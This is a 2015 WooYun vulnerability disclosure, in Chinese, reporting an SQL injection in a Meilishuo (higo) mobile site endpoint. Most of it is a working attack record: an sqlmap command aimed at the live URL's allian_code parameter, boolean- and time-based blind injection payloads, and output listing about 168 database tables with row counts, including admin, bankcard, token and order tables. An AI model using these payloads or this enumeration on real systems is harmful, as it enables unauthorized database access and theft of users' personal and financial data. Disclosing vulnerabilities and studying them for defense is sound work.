当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114227

漏洞标题：美丽说某站SQL注入目测至少27万用户数据

相关厂商：美丽说

漏洞作者： 蛋蛋侠

提交时间：2015-05-15 10:10

修复时间：2015-06-29 10:56

公开时间：2015-06-29 10:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-15： 细节已通知厂商并且等待厂商处理中
2015-05-15： 厂商已经确认，细节仅向厂商公开
2015-05-25： 细节向核心白帽子及相关领域专家公开
2015-06-04： 细节向普通白帽子公开
2015-06-14： 细节向实习白帽子公开
2015-06-29： 细节向公众公开

简要描述：

最不喜欢动不动就问厂商要礼物的~ 靠！ 他实在不给你就使劲提交漏洞！！

详细说明：

QQ截图20150515081651.png


QQ截图20150515081845.png

漏洞证明：

[root@Hacker~]# Sqlmap Sqlmap -u "http://higo.meilishuo.com/hgwap/index.php/seller/discover?allian_code=543410ce6c2ebee" -D higo --count --threads 10
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all a
[*] starting at 08:12:43
[08:12:44] [INFO] resuming back-end DBMS 'mysql'
[08:12:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: allian_code
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: allian_code=543410ce6c2ebee' AND 5563=5563 AND 'iYSA'='iYSA
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: allian_code=543410ce6c2ebee' AND SLEEP(5) AND 'zPNY'='zPNY
---
[08:12:44] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[08:12:44] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[08:12:44] [INFO] fetching tables for database: 'higo'
[08:12:44] [INFO] fetching number of tables for database 'higo'
[08:12:44] [INFO] resumed: 168
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 10
[08:12:44] [INFO] resumed: TBL_ADMINS
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 18
[08:12:44] [INFO] resumed: TBL_ADMIN_FUNCTION
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 22
[08:12:44] [INFO] resumed: TBL_ADMIN_FUNCTION_CAT
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 13
[08:12:44] [INFO] resumed: TBL_ADMIN_LOG
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 4
[08:12:44] [INFO] resumed: ouid
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 6
[08:12:44] [INFO] resumed: p_logs
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 8
[08:12:44] [INFO] resumed: push_log
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 14
[08:12:44] [INFO] resumed: t_country_code
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 21
[08:12:44] [INFO] resumed: t_pandora_abroad_shop
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 29
[08:12:44] [INFO] resumed: t_pandora_abroad_withdraw_log
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 17
[08:12:44] [INFO] resumed: t_pandora_account
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 26
[08:12:44] [INFO] resumed: t_pandora_account_bankcard
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 34
[08:12:44] [INFO] resumed: t_pandora_account_bankcard_history
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 25
[08:12:44] [INFO] resumed: t_pandora_account_connect
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_account_group
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 33
[08:12:44] [INFO] resumed: t_pandora_account_group_expansion
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 30
[08:12:44] [INFO] resumed: t_pandora_account_group_notice
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 24
[08:12:44] [INFO] resumed: t_pandora_account_invite
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_account_token
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 17
[08:12:44] [INFO] resumed: t_pandora_address
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 15
[08:12:44] [INFO] resumed: t_pandora_admin
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 14
[08:12:44] [INFO] resumed: t_pandora_bank
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 33
[08:12:44] [INFO] resumed: t_pandora_basic_events_statistics
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 32
[08:12:44] [INFO] resumed: t_pandora_basic_goods_statistics
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 16
[08:12:44] [INFO] resumed: t_pandora_bigger
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 24
[08:12:44] [INFO] resumed: t_pandora_bigger_comment
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 14
[08:12:44] [INFO] resumed: t_pandora_bill
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 22
[08:12:44] [INFO] resumed: t_pandora_bill_balance
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 22
[08:12:44] [INFO] resumed: t_pandora_bill_summary
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_bill_withdraw
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 15
[08:12:44] [INFO] resumed: t_pandora_board
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 21
[08:12:44] [INFO] resumed: t_pandora_board_goods
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 15
[08:12:44] [INFO] resumed: t_pandora_brand
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 24
[08:12:44] [INFO] resumed: t_pandora_brand_category
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 21
[08:12:44] [INFO] resumed: t_pandora_brand_goods
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 15
[08:12:44] [INFO] resumed: t_pandora_buyer
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_buyer_connect
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 27
[08:12:44] [INFO] resumed: t_pandora_buyer_recruitment
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_buyer_session
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 18
[08:12:44] [INFO] resumed: t_pandora_buyersdb
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 18
[08:12:44] [INFO] resumed: t_pandora_category
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 27
[08:12:44] [INFO] resumed: t_pandora_category_material
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 34
[08:12:44] [INFO] resumed: t_pandora_category_recommend_goods
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 23
[08:12:44] [INFO] resumed: t_pandora_category_size
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 28
[08:12:44] [INFO] resumed: t_pandora_category_whitelist
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 15
[08:12:44] [INFO] resumed: t_pandora_color
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 22
[08:12:44] [INFO] resumed: t_pandora_country_code
[08:12:44] [INFO] retrieving the length of query output
[08:12:44] [INFO] resumed: 16
[08:12:45] [INFO] resumed: t_pandora_coupon
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_coupon_batch
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_coupon_collectlog
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_coupon_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_coupon_statistics
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_coupon_usedlog
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_currency
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_dimension
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_dimension_shop
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_event
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_event_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_event_item
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_event_show
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_event_show_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_eventgmv
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 16
[08:12:45] [INFO] resumed: t_pandora_events
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_events_expic
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 29
[08:12:45] [INFO] resumed: t_pandora_exp_platform_region
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_express_company
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_express_tracking
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_fairy_log
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_fairy_log_failure
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_favorite
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 30
[08:12:45] [INFO] resumed: t_pandora_final_wap_statistics
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 17
[08:12:45] [INFO] resumed: t_pandora_friends
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_goods_category
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_goods_connect
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_goods_keywords
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_goods_limitation
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_goods_price
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_goods_seckill
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_goods_sku
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_goods_tag
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_group_banner
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_group_keywords
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_home_banner
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_hot_keywords
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 31
[08:12:45] [INFO] resumed: t_pandora_hot_keywords_category
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_id_wrapper
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_image
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 16
[08:12:45] [INFO] resumed: t_pandora_invite
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_invite_simple
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 17
[08:12:45] [INFO] resumed: t_pandora_inviter
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_login_tips
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_material
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_mls_address
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_mls_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_mls_goods_prop
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_mls_higo_order
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_mls_open_token
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_mls_order
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_mls_order_freight
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_mls_user_info
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_order
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_order_express
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_order_item
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_order_operation
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_order_pay
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_order_pay_confirm
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_order_pay_ref
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_order_rapid
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_order_receivepush
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_order_refund
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_order_refund_pay
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_order_remark
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_order_return
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_order_return_log
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_order_revoke
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_order_summary
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_order_vipsettle
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 28
[08:12:45] [INFO] resumed: t_pandora_pay_receipt_record
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 29
[08:12:45] [INFO] resumed: t_pandora_product_collocation
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 34
[08:12:45] [INFO] resumed: t_pandora_product_collocation_data
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_push_device
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 28
[08:12:45] [INFO] resumed: t_pandora_recommend_category
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_report_event
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 27
[08:12:45] [INFO] resumed: t_pandora_report_event_shop
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 33
[08:12:45] [INFO] resumed: t_pandora_report_event_shop_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_report_log
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_sales_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_sales_statistics
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_search_keywords
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_settlement
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_settlement_item
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_share
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 14
[08:12:45] [INFO] resumed: t_pandora_shop
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_shop_alliance
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 21
[08:12:45] [INFO] resumed: t_pandora_shop_change
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_shop_intro
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_shop_intro_ext
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_shop_intro_ref
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_shop_show
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_shop_show_items
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_shop_vip
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_show_tag
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 17
[08:12:45] [INFO] resumed: t_pandora_silence
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 24
[08:12:45] [INFO] resumed: t_pandora_sphinx_counter
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 20
[08:12:45] [INFO] resumed: t_pandora_statistics
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 17
[08:12:45] [INFO] resumed: t_pandora_subcate
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_syn_goods
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_syn_goods_img
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 23
[08:12:45] [INFO] resumed: t_pandora_syn_goods_sku
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_temporary_users
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 22
[08:12:45] [INFO] resumed: t_pandora_top_keywords
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 18
[08:12:45] [INFO] resumed: t_pandora_totalgmv
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 19
[08:12:45] [INFO] resumed: t_pandora_transport
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 26
[08:12:45] [INFO] resumed: t_pandora_transport_extend
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 15
[08:12:45] [INFO] resumed: t_pandora_video
[08:12:45] [INFO] retrieving the length of query output
[08:12:45] [INFO] resumed: 25
[08:12:45] [INFO] resumed: t_pandora_wap_click_goods
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 18
[08:12:46] [INFO] resumed: t_pandora_wap_stat
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 24
[08:12:46] [INFO] resumed: t_pandora_wap_statistics
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 28
[08:12:46] [INFO] resumed: t_pandora_weixin_answer_rank
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 33
[08:12:46] [INFO] resumed: t_pandora_weixin_answer_recommend
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 17
[08:12:46] [INFO] resumed: t_pandora_welfare
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 21
[08:12:46] [INFO] resumed: t_pandora_welfare_log
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 22
[08:12:46] [INFO] resumed: t_pandora_xmpp_message
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 27
[08:12:46] [INFO] resumed: t_pandora_xmpp_message_type
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 20
[08:12:46] [INFO] resumed: t_pandora_xmpp_users
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 17
[08:12:46] [INFO] resumed: tbl_admin_newlogs
[08:12:46] [INFO] retrieving the length of query output
[08:12:46] [INFO] resumed: 12
[08:12:46] [INFO] resumed: user_no_nick
[08:12:46] [INFO] resumed: 33249
[08:12:46] [INFO] resumed: 13
[08:12:46] [INFO] resumed: 270143
[08:12:46] [INFO] resumed: 41179
[08:12:46] [INFO] resumed: 9613
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 2001
[08:12:46] [INFO] resumed: 115
[08:12:46] [INFO] resumed: 3396
[08:12:46] [INFO] resumed: 6
[08:12:46] [INFO] resumed: 1750
[08:12:46] [INFO] resumed: 168262
[08:12:46] [INFO] resumed: 11
[08:12:46] [INFO] resumed: 89
[08:12:46] [INFO] resumed: 33214
[08:12:46] [INFO] resumed: 231484
[08:12:46] [INFO] resumed: 512125
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 48382
[08:12:46] [INFO] resumed: 2142
[08:12:46] [INFO] resumed: 1
[08:12:46] [INFO] resumed: 18
[08:12:46] [INFO] resumed: 7
[08:12:46] [INFO] resumed: 12920
[08:12:46] [INFO] resumed: 3908
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 124
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 622056
[08:12:46] [INFO] resumed: 443
[08:12:46] [INFO] resumed: 273487
[08:12:46] [INFO] resumed: 219037
[08:12:46] [INFO] resumed: 8
[08:12:46] [INFO] resumed: 344
[08:12:46] [INFO] resumed: 41737
[08:12:46] [INFO] resumed: 290
[08:12:46] [INFO] resumed: 94
[08:12:46] [INFO] resumed: 765
[08:12:46] [INFO] resumed: 25
[08:12:46] [INFO] resumed: 2496
[08:12:46] [INFO] resumed: 124990
[08:12:46] [INFO] resumed: 76
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 641
[08:12:46] [INFO] resumed: 8822
[08:12:46] [INFO] resumed: 110
[08:12:46] [INFO] resumed: 3678
[08:12:46] [INFO] resumed: 36175
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 1001
[08:12:46] [INFO] resumed: 4342
[08:12:46] [INFO] resumed: 109
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 1
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 298
[08:12:46] [INFO] resumed: 32
[08:12:46] [INFO] resumed: 795
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 5
[08:12:46] [INFO] resumed: 1127
[08:12:46] [INFO] resumed: 68
[08:12:46] [INFO] resumed: 5343
[08:12:46] [INFO] resumed: 11
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 1
[08:12:46] [INFO] resumed: 202
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 39134
[08:12:46] [INFO] resumed: 1126
[08:12:46] [INFO] resumed: 6
[08:12:46] [INFO] resumed: 10628
[08:12:46] [INFO] resumed: 1136
[08:12:46] [INFO] resumed: 41
[08:12:46] [INFO] resumed: 2
[08:12:46] [INFO] resumed: 4468950
[08:12:46] [INFO] resumed: 186
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 14648
[08:12:46] [INFO] resumed: 2094
[08:12:46] [INFO] resumed: 5956
[08:12:46] [INFO] resumed: 76
[08:12:46] [INFO] resumed: 18
[08:12:46] [INFO] resumed: 671
[08:12:46] [INFO] resumed: 38882
[08:12:46] [INFO] resumed: 424
[08:12:46] [INFO] resumed: 23
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 5783893
[08:12:46] [INFO] resumed: 135
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 10
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 1251
[08:12:46] [INFO] resumed: 168
[08:12:46] [INFO] resumed: 1498
[08:12:46] [INFO] resumed: 19
[08:12:46] [INFO] resumed: 33
[08:12:46] [INFO] resumed: 450
[08:12:46] [INFO] resumed: 73
[08:12:46] [INFO] resumed: 27
[08:12:46] [INFO] resumed: 26
[08:12:46] [INFO] resumed: 53
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 1126
[08:12:46] [INFO] resumed: 191
[08:12:46] [INFO] resumed: 2484
[08:12:46] [INFO] resumed: 474891
[08:12:46] [INFO] resumed: 831
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 270
